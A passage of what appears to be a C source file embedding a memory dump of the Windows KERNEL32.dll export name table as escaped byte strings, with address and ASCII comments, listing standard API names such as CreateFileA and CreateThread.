\"\\x4A\\x03\\x4B\\x03\\x4C\\x03\\x4D\\x03\\x4E\\x03\\x4F\\x03\\x50\\x03\\x51\\x03\" // J\u0003K\u0003L\u0003M\u0003N\u0003O\u0003P\u0003Q\u0003\n/* 7C804A90 */ \"\\x52\\x03\\x53\\x03\\x54\\x03\\x55\\x03\\x56\\x03\\x57\\x03\\x58\\x03\\x59\\x03\" // R\u0003S\u0003T\u0003U\u0003V\u0003W\u0003X\u0003Y\u0003\n/* 7C804AA0 */ \"\\x5A\\x03\\x5B\\x03\\x5C\\x03\\x5D\\x03\\x5E\\x03\\x5F\\x03\\x60\\x03\\x61\\x03\" // Z\u0003[\u0003\\\u0003]\u0003^\u0003_\u0003`\u0003a\u0003\n/* 7C804AB0 */ \"\\x62\\x03\\x63\\x03\\x64\\x03\\x65\\x03\\x66\\x03\\x67\\x03\\x68\\x03\\x69\\x03\" // b\u0003c\u0003d\u0003e\u0003f\u0003g\u0003h\u0003i\u0003\n/* 7C804AC0 */ \"\\x6A\\x03\\x6B\\x03\\x6C\\x03\\x6D\\x03\\x6E\\x03\\x6F\\x03\\x70\\x03\\x71\\x03\" // j\u0003k\u0003l\u0003m\u0003n\u0003o\u0003p\u0003q\u0003\n/* 7C804AD0 */ \"\\x72\\x03\\x73\\x03\\x74\\x03\\x75\\x03\\x76\\x03\\x77\\x03\\x78\\x03\\x79\\x03\" // r\u0003s\u0003t\u0003u\u0003v\u0003w\u0003x\u0003y\u0003\n/* 7C804AE0 */ \"\\x7A\\x03\\x7B\\x03\\x7C\\x03\\x7D\\x03\\x7E\\x03\\x7F\\x03\\x80\\x03\\x81\\x03\" // z\u0003{\u0003|\u0003}\u0003~\u0003\u0003\u0003\u0003\n/* 7C804AF0 */ \"\\x82\\x03\\x83\\x03\\x84\\x03\\x85\\x03\\x86\\x03\\x87\\x03\\x88\\x03\\x89\\x03\" // \u0003\u0003\u0003\u0003\u0003\u0003\u0003\u0003\n/* 7C804B00 */ \"\\x8A\\x03\\x8B\\x03\\x8C\\x03\\x8D\\x03\\x8E\\x03\\x8F\\x03\\x90\\x03\\x91\\x03\" // \u0003\u0003\u0003\u0003\u0003\u0003\u0003\u0003\n/* 7C804B10 */ \"\\x92\\x03\\x93\\x03\\x94\\x03\\x95\\x03\\x96\\x03\\x97\\x03\\x98\\x03\\x99\\x03\" // \u0003\u0003\u0003\u0003\u0003\u0003\u0003\u0003\n/* 7C804B20 */ \"\\x9A\\x03\\x9B\\x03\\x9C\\x03\\x9D\\x03\\x9E\\x03\\x9F\\x03\\xA0\\x03\\xA1\\x03\" // \u0003\u0003\u0003\u0003\u0003\u0003 \u0003¡\u0003\n/* 7C804B30 */ \"\\xA2\\x03\\xA3\\x03\\xA4\\x03\\xA5\\x03\\xA6\\x03\\xA7\\x03\\xA8\\x03\\xA9\\x03\" // ¢\u0003£\u0003¤\u0003¥\u0003¦\u0003§\u0003¨\u0003©\u0003\n/* 7C804B40 */ \"\\xAA\\x03\\xAB\\x03\\xAC\\x03\\xAD\\x03\\xAE\\x03\\xAF\\x03\\xB0\\x03\\xB1\\x03\" // ª\u0003«\u0003¬\u0003­\u0003®\u0003¯\u0003°\u0003±\u0003\n/* 7C804B50 */ \"\\xB2\\x03\\xB3\\x03\\xB4\\x03\\x4B\\x45\\x52\\x4E\\x45\\x4C\\x33\\x32\\x2E\\x64\" // ²\u0003³\u0003´\u0003KERNEL32.d\n/* 7C804B60 */ \"\\x6C\\x6C\\x00\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x65\\x41\\x63\\x74\\x43\\x74\" // ll.ActivateActCt\n/* 7C804B70 */ \"\\x78\\x00\\x41\\x64\\x64\\x41\\x74\\x6F\\x6D\\x41\\x00\\x41\\x64\\x64\\x41\\x74\" // x.AddAtomA.AddAt\n/* 7C804B80 */ \"\\x6F\\x6D\\x57\\x00\\x41\\x64\\x64\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x41\\x6C\" // omW.AddConsoleAl\n/* 7C804B90 */ \"\\x69\\x61\\x73\\x41\\x00\\x41\\x64\\x64\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x41\" // iasA.AddConsoleA\n/* 7C804BA0 */ \"\\x6C\\x69\\x61\\x73\\x57\\x00\\x41\\x64\\x64\\x4C\\x6F\\x63\\x61\\x6C\\x41\\x6C\" // liasW.AddLocalAl\n/* 7C804BB0 */ \"\\x74\\x65\\x72\\x6E\\x61\\x74\\x65\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x72\\x4E\" // ternateComputerN\n/* 7C804BC0 */ \"\\x61\\x6D\\x65\\x41\\x00\\x41\\x64\\x64\\x4C\\x6F\\x63\\x61\\x6C\\x41\\x6C\\x74\" // ameA.AddLocalAlt\n/* 7C804BD0 */ \"\\x65\\x72\\x6E\\x61\\x74\\x65\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x72\\x4E\\x61\" // ernateComputerNa\n/* 7C804BE0 */ \"\\x6D\\x65\\x57\\x00\\x41\\x64\\x64\\x52\\x65\\x66\\x41\\x63\\x74\\x43\\x74\\x78\" // meW.AddRefActCtx\n/* 7C804BF0 */ \"\\x00\\x41\\x64\\x64\\x56\\x65\\x63\\x74\\x6F\\x72\\x65\\x64\\x45\\x78\\x63\\x65\" // .AddVectoredExce\n/* 7C804C00 */ \"\\x70\\x74\\x69\\x6F\\x6E\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x00\\x41\\x6C\\x6C\" // ptionHandler.All\n/* 7C804C10 */ \"\\x6F\\x63\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x00\\x41\\x6C\\x6C\\x6F\\x63\\x61\" // ocConsole.Alloca\n/* 7C804C20 */ \"\\x74\\x65\\x55\\x73\\x65\\x72\\x50\\x68\\x79\\x73\\x69\\x63\\x61\\x6C\\x50\\x61\" // teUserPhysicalPa\n/* 7C804C30 */ \"\\x67\\x65\\x73\\x00\\x41\\x72\\x65\\x46\\x69\\x6C\\x65\\x41\\x70\\x69\\x73\\x41\" // ges.AreFileApisA\n/* 7C804C40 */ \"\\x4E\\x53\\x49\\x00\\x41\\x73\\x73\\x69\\x67\\x6E\\x50\\x72\\x6F\\x63\\x65\\x73\" // NSI.AssignProces\n/* 7C804C50 */ \"\\x73\\x54\\x6F\\x4A\\x6F\\x62\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x41\\x74\\x74\" // sToJobObject.Att\n/* 7C804C60 */ \"\\x61\\x63\\x68\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x00\\x42\\x61\\x63\\x6B\\x75\" // achConsole.Backu\n/* 7C804C70 */ \"\\x70\\x52\\x65\\x61\\x64\\x00\\x42\\x61\\x63\\x6B\\x75\\x70\\x53\\x65\\x65\\x6B\" // pRead.BackupSeek\n/* 7C804C80 */ \"\\x00\\x42\\x61\\x63\\x6B\\x75\\x70\\x57\\x72\\x69\\x74\\x65\\x00\\x42\\x61\\x73\" // .BackupWrite.Bas\n/* 7C804C90 */ \"\\x65\\x43\\x68\\x65\\x63\\x6B\\x41\\x70\\x70\\x63\\x6F\\x6D\\x70\\x61\\x74\\x43\" // eCheckAppcompatC\n/* 7C804CA0 */ \"\\x61\\x63\\x68\\x65\\x00\\x42\\x61\\x73\\x65\\x43\\x6C\\x65\\x61\\x6E\\x75\\x70\" // ache.BaseCleanup\n/* 7C804CB0 */ \"\\x41\\x70\\x70\\x63\\x6F\\x6D\\x70\\x61\\x74\\x43\\x61\\x63\\x68\\x65\\x00\\x42\" // AppcompatCache.B\n/* 7C804CC0 */ \"\\x61\\x73\\x65\\x43\\x6C\\x65\\x61\\x6E\\x75\\x70\\x41\\x70\\x70\\x63\\x6F\\x6D\" // aseCleanupAppcom\n/* 7C804CD0 */ \"\\x70\\x61\\x74\\x43\\x61\\x63\\x68\\x65\\x53\\x75\\x70\\x70\\x6F\\x72\\x74\\x00\" // patCacheSupport.\n/* 7C804CE0 */ \"\\x42\\x61\\x73\\x65\\x44\\x75\\x6D\\x70\\x41\\x70\\x70\\x63\\x6F\\x6D\\x70\\x61\" // BaseDumpAppcompa\n/* 7C804CF0 */ \"\\x74\\x43\\x61\\x63\\x68\\x65\\x00\\x42\\x61\\x73\\x65\\x46\\x6C\\x75\\x73\\x68\" // tCache.BaseFlush\n/* 7C804D00 */ \"\\x41\\x70\\x70\\x63\\x6F\\x6D\\x70\\x61\\x74\\x43\\x61\\x63\\x68\\x65\\x00\\x42\" // AppcompatCache.B\n/* 7C804D10 */ \"\\x61\\x73\\x65\\x49\\x6E\\x69\\x74\\x41\\x70\\x70\\x63\\x6F\\x6D\\x70\\x61\\x74\" // aseInitAppcompat\n/* 7C804D20 */ \"\\x43\\x61\\x63\\x68\\x65\\x00\\x42\\x61\\x73\\x65\\x49\\x6E\\x69\\x74\\x41\\x70\" // Cache.BaseInitAp\n/* 7C804D30 */ \"\\x70\\x63\\x6F\\x6D\\x70\\x61\\x74\\x43\\x61\\x63\\x68\\x65\\x53\\x75\\x70\\x70\" // pcompatCacheSupp\n/* 7C804D40 */ \"\\x6F\\x72\\x74\\x00\\x42\\x61\\x73\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\" // ort.BaseProcessI\n/* 7C804D50 */ \"\\x6E\\x69\\x74\\x50\\x6F\\x73\\x74\\x49\\x6D\\x70\\x6F\\x72\\x74\\x00\\x42\\x61\" // nitPostImport.Ba\n/* 7C804D60 */ \"\\x73\\x65\\x51\\x75\\x65\\x72\\x79\\x4D\\x6F\\x64\\x75\\x6C\\x65\\x44\\x61\\x74\" // seQueryModuleDat\n/* 7C804D70 */ \"\\x61\\x00\\x42\\x61\\x73\\x65\\x55\\x70\\x64\\x61\\x74\\x65\\x41\\x70\\x70\\x63\" // a.BaseUpdateAppc\n/* 7C804D80 */ \"\\x6F\\x6D\\x70\\x61\\x74\\x43\\x61\\x63\\x68\\x65\\x00\\x42\\x61\\x73\\x65\\x70\" // ompatCache.Basep\n/* 7C804D90 */ \"\\x43\\x68\\x65\\x63\\x6B\\x57\\x69\\x6E\\x53\\x61\\x66\\x65\\x72\\x52\\x65\\x73\" // CheckWinSaferRes\n/* 7C804DA0 */ \"\\x74\\x72\\x69\\x63\\x74\\x69\\x6F\\x6E\\x73\\x00\\x42\\x65\\x65\\x70\\x00\\x42\" // trictions.Beep.B\n/* 7C804DB0 */ \"\\x65\\x67\\x69\\x6E\\x55\\x70\\x64\\x61\\x74\\x65\\x52\\x65\\x73\\x6F\\x75\\x72\" // eginUpdateResour\n/* 7C804DC0 */ \"\\x63\\x65\\x41\\x00\\x42\\x65\\x67\\x69\\x6E\\x55\\x70\\x64\\x61\\x74\\x65\\x52\" // ceA.BeginUpdateR\n/* 7C804DD0 */ \"\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x57\\x00\\x42\\x69\\x6E\\x64\\x49\\x6F\\x43\" // esourceW.BindIoC\n/* 7C804DE0 */ \"\\x6F\\x6D\\x70\\x6C\\x65\\x74\\x69\\x6F\\x6E\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\" // ompletionCallbac\n/* 7C804DF0 */ \"\\x6B\\x00\\x42\\x75\\x69\\x6C\\x64\\x43\\x6F\\x6D\\x6D\\x44\\x43\\x42\\x41\\x00\" // k.BuildCommDCBA.\n/* 7C804E00 */ \"\\x42\\x75\\x69\\x6C\\x64\\x43\\x6F\\x6D\\x6D\\x44\\x43\\x42\\x41\\x6E\\x64\\x54\" // BuildCommDCBAndT\n/* 7C804E10 */ \"\\x69\\x6D\\x65\\x6F\\x75\\x74\\x73\\x41\\x00\\x42\\x75\\x69\\x6C\\x64\\x43\\x6F\" // imeoutsA.BuildCo\n/* 7C804E20 */ \"\\x6D\\x6D\\x44\\x43\\x42\\x41\\x6E\\x64\\x54\\x69\\x6D\\x65\\x6F\\x75\\x74\\x73\" // mmDCBAndTimeouts\n/* 7C804E30 */ \"\\x57\\x00\\x42\\x75\\x69\\x6C\\x64\\x43\\x6F\\x6D\\x6D\\x44\\x43\\x42\\x57\\x00\" // W.BuildCommDCBW.\n/* 7C804E40 */ \"\\x43\\x61\\x6C\\x6C\\x4E\\x61\\x6D\\x65\\x64\\x50\\x69\\x70\\x65\\x41\\x00\\x43\" // CallNamedPipeA.C\n/* 7C804E50 */ \"\\x61\\x6C\\x6C\\x4E\\x61\\x6D\\x65\\x64\\x50\\x69\\x70\\x65\\x57\\x00\\x43\\x61\" // allNamedPipeW.Ca\n/* 7C804E60 */ \"\\x6E\\x63\\x65\\x6C\\x44\\x65\\x76\\x69\\x63\\x65\\x57\\x61\\x6B\\x65\\x75\\x70\" // ncelDeviceWakeup\n/* 7C804E70 */ \"\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x00\\x43\\x61\\x6E\\x63\\x65\\x6C\\x49\\x6F\" // Request.CancelIo\n/* 7C804E80 */ \"\\x00\\x43\\x61\\x6E\\x63\\x65\\x6C\\x54\\x69\\x6D\\x65\\x72\\x51\\x75\\x65\\x75\" // .CancelTimerQueu\n/* 7C804E90 */ \"\\x65\\x54\\x69\\x6D\\x65\\x72\\x00\\x43\\x61\\x6E\\x63\\x65\\x6C\\x57\\x61\\x69\" // eTimer.CancelWai\n/* 7C804EA0 */ \"\\x74\\x61\\x62\\x6C\\x65\\x54\\x69\\x6D\\x65\\x72\\x00\\x43\\x68\\x61\\x6E\\x67\" // tableTimer.Chang\n/* 7C804EB0 */ \"\\x65\\x54\\x69\\x6D\\x65\\x72\\x51\\x75\\x65\\x75\\x65\\x54\\x69\\x6D\\x65\\x72\" // eTimerQueueTimer\n/* 7C804EC0 */ \"\\x00\\x43\\x68\\x65\\x63\\x6B\\x4E\\x61\\x6D\\x65\\x4C\\x65\\x67\\x61\\x6C\\x44\" // .CheckNameLegalD\n/* 7C804ED0 */ \"\\x4F\\x53\\x38\\x44\\x6F\\x74\\x33\\x41\\x00\\x43\\x68\\x65\\x63\\x6B\\x4E\\x61\" // OS8Dot3A.CheckNa\n/* 7C804EE0 */ \"\\x6D\\x65\\x4C\\x65\\x67\\x61\\x6C\\x44\\x4F\\x53\\x38\\x44\\x6F\\x74\\x33\\x57\" // meLegalDOS8Dot3W\n/* 7C804EF0 */ \"\\x00\\x43\\x68\\x65\\x63\\x6B\\x52\\x65\\x6D\\x6F\\x74\\x65\\x44\\x65\\x62\\x75\" // .CheckRemoteDebu\n/* 7C804F00 */ \"\\x67\\x67\\x65\\x72\\x50\\x72\\x65\\x73\\x65\\x6E\\x74\\x00\\x43\\x6C\\x65\\x61\" // ggerPresent.Clea\n/* 7C804F10 */ \"\\x72\\x43\\x6F\\x6D\\x6D\\x42\\x72\\x65\\x61\\x6B\\x00\\x43\\x6C\\x65\\x61\\x72\" // rCommBreak.Clear\n/* 7C804F20 */ \"\\x43\\x6F\\x6D\\x6D\\x45\\x72\\x72\\x6F\\x72\\x00\\x43\\x6C\\x6F\\x73\\x65\\x43\" // CommError.CloseC\n/* 7C804F30 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x43\\x6C\\x6F\" // onsoleHandle.Clo\n/* 7C804F40 */ \"\\x73\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x43\\x6C\\x6F\\x73\\x65\\x50\\x72\" // seHandle.ClosePr\n/* 7C804F50 */ \"\\x6F\\x66\\x69\\x6C\\x65\\x55\\x73\\x65\\x72\\x4D\\x61\\x70\\x70\\x69\\x6E\\x67\" // ofileUserMapping\n/* 7C804F60 */ \"\\x00\\x43\\x6D\\x64\\x42\\x61\\x74\\x4E\\x6F\\x74\\x69\\x66\\x69\\x63\\x61\\x74\" // .CmdBatNotificat\n/* 7C804F70 */ \"\\x69\\x6F\\x6E\\x00\\x43\\x6F\\x6D\\x6D\\x43\\x6F\\x6E\\x66\\x69\\x67\\x44\\x69\" // ion.CommConfigDi\n/* 7C804F80 */ \"\\x61\\x6C\\x6F\\x67\\x41\\x00\\x43\\x6F\\x6D\\x6D\\x43\\x6F\\x6E\\x66\\x69\\x67\" // alogA.CommConfig\n/* 7C804F90 */ \"\\x44\\x69\\x61\\x6C\\x6F\\x67\\x57\\x00\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\\x46\" // DialogW.CompareF\n/* 7C804FA0 */ \"\\x69\\x6C\\x65\\x54\\x69\\x6D\\x65\\x00\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\\x53\" // ileTime.CompareS\n/* 7C804FB0 */ \"\\x74\\x72\\x69\\x6E\\x67\\x41\\x00\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\\x53\\x74\" // tringA.CompareSt\n/* 7C804FC0 */ \"\\x72\\x69\\x6E\\x67\\x57\\x00\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x4E\\x61\\x6D\" // ringW.ConnectNam\n/* 7C804FD0 */ \"\\x65\\x64\\x50\\x69\\x70\\x65\\x00\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4D\\x65\" // edPipe.ConsoleMe\n/* 7C804FE0 */ \"\\x6E\\x75\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x00\\x43\\x6F\\x6E\\x74\\x69\\x6E\" // nuControl.Contin\n/* 7C804FF0 */ \"\\x75\\x65\\x44\\x65\\x62\\x75\\x67\\x45\\x76\\x65\\x6E\\x74\\x00\\x43\\x6F\\x6E\" // ueDebugEvent.Con\n/* 7C805000 */ \"\\x76\\x65\\x72\\x74\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x4C\\x6F\\x63\\x61\\x6C\" // vertDefaultLocal\n/* 7C805010 */ \"\\x65\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x46\\x69\\x62\\x65\\x72\\x54\\x6F\" // e.ConvertFiberTo\n/* 7C805020 */ \"\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x54\\x68\" // Thread.ConvertTh\n/* 7C805030 */ \"\\x72\\x65\\x61\\x64\\x54\\x6F\\x46\\x69\\x62\\x65\\x72\\x00\\x43\\x6F\\x70\\x79\" // readToFiber.Copy\n/* 7C805040 */ \"\\x46\\x69\\x6C\\x65\\x41\\x00\\x43\\x6F\\x70\\x79\\x46\\x69\\x6C\\x65\\x45\\x78\" // FileA.CopyFileEx\n/* 7C805050 */ \"\\x41\\x00\\x43\\x6F\\x70\\x79\\x46\\x69\\x6C\\x65\\x45\\x78\\x57\\x00\\x43\\x6F\" // A.CopyFileExW.Co\n/* 7C805060 */ \"\\x70\\x79\\x46\\x69\\x6C\\x65\\x57\\x00\\x43\\x6F\\x70\\x79\\x4C\\x5A\\x46\\x69\" // pyFileW.CopyLZFi\n/* 7C805070 */ \"\\x6C\\x65\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x41\\x63\\x74\\x43\\x74\\x78\\x41\" // le.CreateActCtxA\n/* 7C805080 */ \"\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x41\\x63\\x74\\x43\\x74\\x78\\x57\\x00\\x43\" // .CreateActCtxW.C\n/* 7C805090 */ \"\\x72\\x65\\x61\\x74\\x65\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x53\\x63\\x72\\x65\" // reateConsoleScre\n/* 7C8050A0 */ \"\\x65\\x6E\\x42\\x75\\x66\\x66\\x65\\x72\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x44\" // enBuffer.CreateD\n/* 7C8050B0 */ \"\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\" // irectoryA.Create\n/* 7C8050C0 */ \"\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x45\\x78\\x41\\x00\\x43\\x72\\x65\" // DirectoryExA.Cre\n/* 7C8050D0 */ \"\\x61\\x74\\x65\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x45\\x78\\x57\\x00\" // ateDirectoryExW.\n/* 7C8050E0 */ \"\\x43\\x72\\x65\\x61\\x74\\x65\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x57\" // CreateDirectoryW\n/* 7C8050F0 */ \"\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x45\\x76\\x65\\x6E\\x74\\x41\\x00\\x43\\x72\" // .CreateEventA.Cr\n/* 7C805100 */ \"\\x65\\x61\\x74\\x65\\x45\\x76\\x65\\x6E\\x74\\x57\\x00\\x43\\x72\\x65\\x61\\x74\" // eateEventW.Creat\n/* 7C805110 */ \"\\x65\\x46\\x69\\x62\\x65\\x72\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x46\\x69\\x62\" // eFiber.CreateFib\n/* 7C805120 */ \"\\x65\\x72\\x45\\x78\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x46\\x69\\x6C\\x65\\x41\" // erEx.CreateFileA\n/* 7C805130 */ \"\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x46\\x69\\x6C\\x65\\x4D\\x61\\x70\\x70\\x69\" // .CreateFileMappi\n/* 7C805140 */ \"\\x6E\\x67\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x46\\x69\\x6C\\x65\\x4D\\x61\" // ngA.CreateFileMa\n/* 7C805150 */ \"\\x70\\x70\\x69\\x6E\\x67\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x46\\x69\\x6C\" // ppingW.CreateFil\n/* 7C805160 */ \"\\x65\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x48\\x61\\x72\\x64\\x4C\\x69\\x6E\" // eW.CreateHardLin\n/* 7C805170 */ \"\\x6B\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x48\\x61\\x72\\x64\\x4C\\x69\\x6E\" // kA.CreateHardLin\n/* 7C805180 */ \"\\x6B\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x49\\x6F\\x43\\x6F\\x6D\\x70\\x6C\" // kW.CreateIoCompl\n/* 7C805190 */ \"\\x65\\x74\\x69\\x6F\\x6E\\x50\\x6F\\x72\\x74\\x00\\x43\\x72\\x65\\x61\\x74\\x65\" // etionPort.Create\n/* 7C8051A0 */ \"\\x4A\\x6F\\x62\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x00\\x43\\x72\\x65\\x61\\x74\" // JobObjectA.Creat\n/* 7C8051B0 */ \"\\x65\\x4A\\x6F\\x62\\x4F\\x62\\x6A\\x65\\x63\\x74\\x57\\x00\\x43\\x72\\x65\\x61\" // eJobObjectW.Crea\n/* 7C8051C0 */ \"\\x74\\x65\\x4A\\x6F\\x62\\x53\\x65\\x74\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x4D\" // teJobSet.CreateM\n/* 7C8051D0 */ \"\\x61\\x69\\x6C\\x73\\x6C\\x6F\\x74\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x4D\" // ailslotA.CreateM\n/* 7C8051E0 */ \"\\x61\\x69\\x6C\\x73\\x6C\\x6F\\x74\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x4D\" // ailslotW.CreateM\n/* 7C8051F0 */ \"\\x65\\x6D\\x6F\\x72\\x79\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x4E\\x6F\\x74\" // emoryResourceNot\n/* 7C805200 */ \"\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x00\\x43\\x72\\x65\\x61\\x74\\x65\" // ification.Create\n/* 7C805210 */ \"\\x4D\\x75\\x74\\x65\\x78\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x4D\\x75\\x74\" // MutexA.CreateMut\n/* 7C805220 */ \"\\x65\\x78\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x4E\\x61\\x6D\\x65\\x64\\x50\" // exW.CreateNamedP\n/* 7C805230 */ \"\\x69\\x70\\x65\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x4E\\x61\\x6D\\x65\\x64\" // ipeA.CreateNamed\n/* 7C805240 */ \"\\x50\\x69\\x70\\x65\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x4E\\x6C\\x73\\x53\" // PipeW.CreateNlsS\n/* 7C805250 */ \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\" // ecurityDescripto\n/* 7C805260 */ \"\\x72\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x69\\x70\\x65\\x00\\x43\\x72\\x65\" // r.CreatePipe.Cre\n/* 7C805270 */ \"\\x61\\x74\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x41\\x00\\x43\\x72\\x65\\x61\" // ateProcessA.Crea\n/* 7C805280 */ \"\\x74\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\\x6E\\x74\\x65\\x72\\x6E\\x61\" // teProcessInterna\n/* 7C805290 */ \"\\x6C\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\" // lA.CreateProcess\n/* 7C8052A0 */ \"\\x49\\x6E\\x74\\x65\\x72\\x6E\\x61\\x6C\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\" // InternalW.Create\n/* 7C8052B0 */ \"\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\\x6E\\x74\\x65\\x72\\x6E\\x61\\x6C\\x57\" // ProcessInternalW\n/* 7C8052C0 */ \"\\x53\\x65\\x63\\x75\\x72\\x65\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x6F\" // Secure.CreatePro\n/* 7C8052D0 */ \"\\x63\\x65\\x73\\x73\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x52\\x65\\x6D\\x6F\" // cessW.CreateRemo\n/* 7C8052E0 */ \"\\x74\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x53\" // teThread.CreateS\n/* 7C8052F0 */ \"\\x65\\x6D\\x61\\x70\\x68\\x6F\\x72\\x65\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\" // emaphoreA.Create\n/* 7C805300 */ \"\\x53\\x65\\x6D\\x61\\x70\\x68\\x6F\\x72\\x65\\x57\\x00\\x43\\x72\\x65\\x61\\x74\" // SemaphoreW.Creat\n/* 7C805310 */ \"\\x65\\x53\\x6F\\x63\\x6B\\x65\\x74\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x43\\x72\" // eSocketHandle.Cr\n/* 7C805320 */ \"\\x65\\x61\\x74\\x65\\x54\\x61\\x70\\x65\\x50\\x61\\x72\\x74\\x69\\x74\\x69\\x6F\" // eateTapePartitio\n/* 7C805330 */ \"\\x6E\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x43\" // n.CreateThread.C\n/* 7C805340 */ \"\\x72\\x65\\x61\\x74\\x65\\x54\\x69\\x6D\\x65\\x72\\x51\\x75\\x65\\x75\\x65\\x00\" // reateTimerQueue.\n/* 7C805350 */ \"\\x43\\x72\\x65\\x61\\x74\\x65\\x54\\x69\\x6D\\x65\\x72\\x51\\x75\\x65\\x75\\x65\" // CreateTimerQueue\n/* 7C805360 */ \"\\x54\\x69\\x6D\\x65\\x72\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x54\\x6F\\x6F\\x6C\" // Timer.CreateTool\n/* 7C805370 */ \"\\x68\\x65\\x6C\\x70\\x33\\x32\\x53\\x6E\\x61\\x70\\x73\\x68\\x6F\\x74\\x00\\x43\" // help32Snapshot.C\n/* 7C805380 */ \"\\x72\\x65\\x61\\x74\\x65\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x42\\x75\\x66\\x66\" // reateVirtualBuff\n/* 7C805390 */ \"\\x65\\x72\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x57\\x61\\x69\\x74\\x61\\x62\\x6C\" // er.CreateWaitabl\n/* 7C8053A0 */ \"\\x65\\x54\\x69\\x6D\\x65\\x72\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x57\\x61\" // eTimerA.CreateWa\n/* 7C8053B0 */ \"\\x69\\x74\\x61\\x62\\x6C\\x65\\x54\\x69\\x6D\\x65\\x72\\x57\\x00\\x44\\x65\\x61\" // itableTimerW.Dea\n/* 7C8053C0 */ \"\\x63\\x74\\x69\\x76\\x61\\x74\\x65\\x41\\x63\\x74\\x43\\x74\\x78\\x00\\x44\\x65\" // ctivateActCtx.De\n/* 7C8053D0 */ \"\\x62\\x75\\x67\\x41\\x63\\x74\\x69\\x76\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\" // bugActiveProcess\n/* 7C8053E0 */ \"\\x00\\x44\\x65\\x62\\x75\\x67\\x41\\x63\\x74\\x69\\x76\\x65\\x50\\x72\\x6F\\x63\" // .DebugActiveProc\n/* 7C8053F0 */ \"\\x65\\x73\\x73\\x53\\x74\\x6F\\x70\\x00\\x44\\x65\\x62\\x75\\x67\\x42\\x72\\x65\" // essStop.DebugBre\n/* 7C805400 */ \"\\x61\\x6B\\x00\\x44\\x65\\x62\\x75\\x67\\x42\\x72\\x65\\x61\\x6B\\x50\\x72\\x6F\" // ak.DebugBreakPro\n/* 7C805410 */ \"\\x63\\x65\\x73\\x73\\x00\\x44\\x65\\x62\\x75\\x67\\x53\\x65\\x74\\x50\\x72\\x6F\" // 